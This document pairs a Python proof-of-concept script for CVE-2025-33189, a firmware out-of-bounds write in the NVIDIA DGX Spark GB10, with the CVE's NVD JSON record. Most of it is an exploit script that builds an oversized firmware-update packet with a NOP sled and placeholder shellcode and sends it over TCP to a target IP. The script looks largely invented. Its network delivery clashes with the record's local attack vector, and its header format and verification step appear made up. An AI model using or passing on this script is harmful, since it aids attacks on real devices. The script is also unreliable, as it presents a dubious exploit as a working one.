CVE-2025-33189

# CVE-2025-33189 PoC - NVIDIA DGX Spark GB10 SROOT Firmware Out-of-Bounds Write # This PoC demonstrates the vulnerability pattern (for authorized security testing only) import struct import socket def create_malicious_payload(): """ Create a malicious payload to trigger out-of-bounds write in SROOT firmware The vulnerability exists in SROOT firmware's boundary check mechanism """ # Firmware update header structure header = bytearray(64) # Magic number for SROOT firmware header[0:4] = b'SRFT' # Firmware version struct.pack_into('<I', header, 4, 0x00010001) # Payload size - exceeds expected boundary # This triggers the out-of-bounds write vulnerability struct.pack_into('<I', header, 8, 0x00010000) # Command type: FIRMWARE_UPDATE struct.pack_into('<I', header, 12, 0x00000001) # Create malicious payload with oversized data payload_size = 0x00010000 # 64KB - triggers boundary overflow payload = bytearray(payload_size) # Fill payload with NOP sled for code injection for i in range(len(payload)): payload[i] = 0x90 # NOP instruction # Add shellcode at the end of payload shellcode_offset = payload_size - 256 shellcode = b'\x90' * 100 + b'\xcc' * 50 # Breakpoint for testing payload[shellcode_offset:shellcode_offset + len(shellcode)] = shellcode # Append payload to header exploit_data = header + payload return exploit_data def send_exploit(target_ip, target_port=5000): """ Send the exploit payload to target device """ payload = create_malicious_payload() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(payload) print(f"[+] Exploit payload sent ({len(payload)} bytes)") response = sock.recv(1024) print(f"[*] Response: {response.hex()}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def verify_vulnerability(): """ Verify if the target is vulnerable """ # Check SROOT firmware version via diagnostic interface diagnostic_cmd = b'\x00\x00\x00\x0aVERSION_QUERY' # Implementation depends on specific device interface # This is a conceptual demonstration pass if __name__ == "__main__": print("CVE-2025-33189 PoC - NVIDIA DGX Spark GB10 SROOT OOB Write") print("=" * 60) print("[!] Warning: This tool is for authorized security testing only") print() # Example usage target_ip = "192.168.1.100" # Target DGX Spark IP send_exploit(target_ip)

{"cve": {"id": "CVE-2025-33189", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:50.340", "lastModified": "2025-12-02T18:19:51.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA DGX Spark GB10 contains a vulnerability in SROOT firmware, where an attacker could cause an out-of-bound write. A successful exploit of this vulnerability might lead to code execution, data tampering, denial of service, information disclosure, or escalation of privileges."}, {"lang": "es", "value": "NVIDIA DGX Spark GB10 contiene una vulnerabilidad en el firmware SROOT, donde un atacante podría causar una escritura fuera de límites. Un exploit exitoso de esta vulnerabilidad podría conducir a la ejecución de código, manipulación de datos, denegación de servicio, revelación de información o escalada de privilegios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "40EF912C-72C4-4758-9157-169CE92B33C5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:*", "matchCriteriaId": "76975E53-4E5C-4C6D-85D9-EE2879F960DF"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33189", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5720", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33189", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}